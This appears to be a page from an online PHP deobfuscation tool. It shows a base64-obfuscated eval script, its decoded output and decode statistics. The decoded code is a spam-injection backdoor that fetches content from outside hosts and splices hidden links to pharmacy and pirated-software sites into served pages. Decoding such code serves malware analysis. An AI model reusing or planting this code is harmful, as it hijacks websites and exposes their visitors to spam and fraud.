Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? error_reporting(0); eval(base64_decode('CSRzZXJ2ZXJfYWNjZXB0X2xhbmd1YWdlID0gQCRfU0VS..

Decoded Output download

	$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
    $server_referer = @$_SERVER['HTTP_REFERER'];
    $server_host = @$_SERVER['HTTP_HOST'];
    $server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
    $server_query_string = @$_SERVER['QUERY_STRING'];
    $server_signature = @$_SERVER['SERVER_SIGNATURE'];
    $server_request = @$_SERVER['REQUEST_URI'];

function find_permition(){
    $res="";
    if ( ini_get("allow_url_fopen")==1){
        $res="fgc";
    }else if(function_exists('curl_init')){
        $res="curl";
    }else
	{
		$res="null";
	}

    return $res;
}

function getPage($url, $method){
    $res="";
    if ($method=="fgc"){
        if(!($res=file_get_contents($url)))echo "";
    }else if ($method=="curl"){
           $ch = curl_init();
           curl_setopt ($ch, CURLOPT_URL,$url);
           curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
           curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
           curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
           curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
           $res = curl_exec ($ch);
           curl_close($ch);
    }else if ($method=="null"){
			$res="";
	}
    return $res;
}
	function parsquerystring($server_query_string){
		preg_match_all("/\/(.*)\/(.*)\/(.*)\/(.*)html/U", $server_query_string, $parsed_query_string, PREG_SET_ORDER);
		return $parsed_query_string;
	}
	

$perm = find_permition();
if (!empty($perm)){
	$parsed_query_string = parsquerystring($server_query_string);

	if(strlen($parsed_query_string[0][4])>3){
    $p = $parsed_query_string[0][4]."html";
	$t = $parsed_query_string[0][2];
	$d = $parsed_query_string[0][1];
	$path = $parsed_query_string[0][3];
	}
	else{
		$p = $_GET["p"].".html";
		$t = $_GET["t"];
		$d = $_GET["d"];
		$path = $_GET["q"];
	}

	$url_path = getPage("http://ra-von-ploetz.de/pictures/docs/mm/txt/$path.txt", $perm);

	
	if(strlen($url_path)<5){
		if(strlen($t)>1)$url_path="http://uccla.org/components/com_comprofiler/plugin/language/default_language/images/templates/$path/";
		else $url_path="http://atexansblog.com/wiki/docs/html/archive/";
	}
				
	if(strlen($t)>1){
		$link = "http://cad-tablets.com/search.php?search_text=$t&x=0&y=0&lng=us&cv=us&said=$d$t";
	}
	else $link = "http://cad-tablets.com/search.php?search_text=$p&x=0&y=0&lng=us&cv=us&said=$p";
	if($t=="oem")$link = "http://www.all-oem-soft.com/";
	if($d=="franco")$link = "http://pharmacy-expert.biz/index.php?lng=fr&cv=eu";
	
	$content = getPage($url_path.$p, $perm);
	
	if($d!="com"){
		$red = "<link rel=\"stylesheet\" href=\"$url_path/style.css\" type=\"text/css\" media=\"screen\"><style>BODY {overflow: hidden}</style></head>";
		$content = str_replace("</head>", $red, $content);
		$red = "<div id=\"wrapper\"><div id=\"header\"><div id=\"logo\"><center><a rel='nofollow' href='$link'><img src='$url_path/enternew.jpg' border='0'></a></center></div></div>";
		$content = str_replace("<div id=\"wrapper\">", $red, $content);
	}
}
        print $content;
        exit();

Did this file decode correctly?

Original Code

	<?
error_reporting(0);
eval(base64_decode('CSRzZXJ2ZXJfYWNjZXB0X2xhbmd1YWdlID0gQCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddOw0KICAgICRzZXJ2ZXJfdXNlcl9hZ2VudCA9IEAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQogICAgJHNlcnZlcl9yZWZlcmVyID0gQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiAgICAkc2VydmVyX2hvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICRzZXJ2ZXJfZm9yd2FyZGVkX2ZvciA9IEAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsNCiAgICAkc2VydmVyX3JlbW90ZV9hZGRyID0gQCRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgICRzZXJ2ZXJfcXVlcnlfc3RyaW5nID0gQCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAgICAkc2VydmVyX3NpZ25hdHVyZSA9IEAkX1NFUlZFUlsnU0VSVkVSX1NJR05BVFVSRSddOw0KICAgICRzZXJ2ZXJfcmVxdWVzdCA9IEAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCg0KZnVuY3Rpb24gZmluZF9wZXJtaXRpb24oKXsNCiAgICAkcmVzPSIiOw0KICAgIGlmICggaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIik9PTEpew0KICAgICAgICAkcmVzPSJmZ2MiOw0KICAgIH1lbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpew0KICAgICAgICAkcmVzPSJjdXJsIjsNCiAgICB9ZWxzZQ0KCXsNCgkJJHJlcz0ibnVsbCI7DQoJfQ0KDQogICAgcmV0dXJuICRyZXM7DQp9DQoNCmZ1bmN0aW9uIGdldFBhZ2UoJHVybCwgJG1ldGhvZCl7DQogICAgJHJlcz0iIjsNCiAgICBpZiAoJG1ldGhvZD09ImZnYyIpew0KICAgICAgICBpZighKCRyZXM9ZmlsZV9nZXRfY29udGVudHMoJHVybCkpKWVjaG8gIiI7DQogICAgfWVsc2UgaWYgKCRtZXRob2Q9PSJjdXJsIil7DQogICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICAgICBjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1VSTCwkdXJsKTsNCiAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMS42KSBHZWNrby8yMDA3MDcyNSBGaXJlZm94LzIuMC4wLjYiKTsNCiAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMCk7DQogICAgICAgICAgIGN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KICAgICAgICAgICBjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgICAgJHJlcyA9IGN1cmxfZXhlYyAoJGNoKTsNCiAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KICAgIH1lbHNlIGlmICgkbWV0aG9kPT0ibnVsbCIpew0KCQkJJHJlcz0iIjsNCgl9DQogICAgcmV0dXJuICRyZXM7DQp9DQoJZnVuY3Rpb24gcGFyc3F1ZXJ5c3RyaW5nKCRzZXJ2ZXJfcXVlcnlfc3RyaW5nKXsNCgkJcHJlZ19tYXRjaF9hbGwoIi9cLyguKilcLyguKilcLyguKilcLyguKilodG1sL1UiLCAkc2VydmVyX3F1ZXJ5X3N0cmluZywgJHBhcnNlZF9xdWVyeV9zdHJpbmcsIFBSRUdfU0VUX09SREVSKTsNCgkJcmV0dXJuICRwYXJzZWRfcXVlcnlfc3RyaW5nOw0KCX0NCgkNCg0KJHBlcm0gPSBmaW5kX3Blcm1pdGlvbigpOw0KaWYgKCFlbXB0eSgkcGVybSkpew0KCSRwYXJzZWRfcXVlcnlfc3RyaW5nID0gcGFyc3F1ZXJ5c3RyaW5nKCRzZXJ2ZXJfcXVlcnlfc3RyaW5nKTsNCg0KCWlmKHN0cmxlbigkcGFyc2VkX3F1ZXJ5X3N0cmluZ1swXVs0XSk+Myl7DQogICAgJHAgPSAkcGFyc2VkX3F1ZXJ5X3N0cmluZ1swXVs0XS4iaHRtbCI7DQoJJHQgPSAkcGFyc2VkX3F1ZXJ5X3N0cmluZ1swXVsyXTsNCgkkZCA9ICRwYXJzZWRfcXVlcnlfc3RyaW5nWzBdWzFdOw0KCSRwYXRoID0gJHBhcnNlZF9xdWVyeV9zdHJpbmdbMF1bM107DQoJfQ0KCWVsc2V7DQoJCSRwID0gJF9HRVRbInAiXS4iLmh0bWwiOw0KCQkkdCA9ICRfR0VUWyJ0Il07DQoJCSRkID0gJF9HRVRbImQiXTsNCgkJJHBhdGggPSAkX0dFVFsicSJdOw0KCX0NCg0KCSR1cmxfcGF0aCA9IGdldFBhZ2UoImh0dHA6Ly9yYS12b24tcGxvZXR6LmRlL3BpY3R1cmVzL2RvY3MvbW0vdHh0LyRwYXRoLnR4dCIsICRwZXJtKTsNCg0KCQ0KCWlmKHN0cmxlbigkdXJsX3BhdGgpPDUpew0KCQlpZihzdHJsZW4oJHQpPjEpJHVybF9wYXRoPSJodHRwOi8vdWNjbGEub3JnL2NvbXBvbmVudHMvY29tX2NvbXByb2ZpbGVyL3BsdWdpbi9sYW5ndWFnZS9kZWZhdWx0X2xhbmd1YWdlL2ltYWdlcy90ZW1wbGF0ZXMvJHBhdGgvIjsNCgkJZWxzZSAkdXJsX3BhdGg9Imh0dHA6Ly9hdGV4YW5zYmxvZy5jb20vd2lraS9kb2NzL2h0bWwvYXJjaGl2ZS8iOw0KCX0NCgkJCQkNCglpZihzdHJsZW4oJHQpPjEpew0KCQkkbGluayA9ICJodHRwOi8vY2FkLXRhYmxldHMuY29tL3NlYXJjaC5waHA/c2VhcmNoX3RleHQ9JHQmeD0wJnk9MCZsbmc9dXMmY3Y9dXMmc2FpZD0kZCR0IjsNCgl9DQoJZWxzZSAkbGluayA9ICJodHRwOi8vY2FkLXRhYmxldHMuY29tL3NlYXJjaC5waHA/c2VhcmNoX3RleHQ9JHAmeD0wJnk9MCZsbmc9dXMmY3Y9dXMmc2FpZD0kcCI7DQoJaWYoJHQ9PSJvZW0iKSRsaW5rID0gImh0dHA6Ly93d3cuYWxsLW9lbS1zb2Z0LmNvbS8iOw0KCWlmKCRkPT0iZnJhbmNvIikkbGluayA9ICJodHRwOi8vcGhhcm1hY3ktZXhwZXJ0LmJpei9pbmRleC5waHA/bG5nPWZyJmN2PWV1IjsNCgkNCgkkY29udGVudCA9IGdldFBhZ2UoJHVybF9wYXRoLiRwLCAkcGVybSk7DQoJDQoJaWYoJGQhPSJjb20iKXsNCgkJJHJlZCA9ICI8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cIiR1cmxfcGF0aC9zdHlsZS5jc3NcIiB0eXBlPVwidGV4dC9jc3NcIiBtZWRpYT1cInNjcmVlblwiPjxzdHlsZT5CT0RZIHtvdmVyZmxvdzogaGlkZGVufTwvc3R5bGU+PC9oZWFkPiI7DQoJCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIjwvaGVhZD4iLCAkcmVkLCAkY29udGVudCk7DQoJCSRyZWQgPSAiPGRpdiBpZD1cIndyYXBwZXJcIj48ZGl2IGlkPVwiaGVhZGVyXCI+PGRpdiBpZD1cImxvZ29cIj48Y2VudGVyPjxhIHJlbD0nbm9mb2xsb3cnIGhyZWY9JyRsaW5rJz48aW1nIHNyYz0nJHVybF9wYXRoL2VudGVybmV3LmpwZycgYm9yZGVyPScwJz48L2E+PC9jZW50ZXI+PC9kaXY+PC9kaXY+IjsNCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiPGRpdiBpZD1cIndyYXBwZXJcIj4iLCAkcmVkLCAkY29udGVudCk7DQoJfQ0KfQ0KICAgICAgICBwcmludCAkY29udGVudDsNCiAgICAgICAgZXhpdCgpOw=='))
?>

Function Calls

base64_decode 1
error_reporting 1

Variables

None

Stats

MD5 7e891dbe5991d982e0b84e1278f37a20
Eval Count 1
Decode Time 109 ms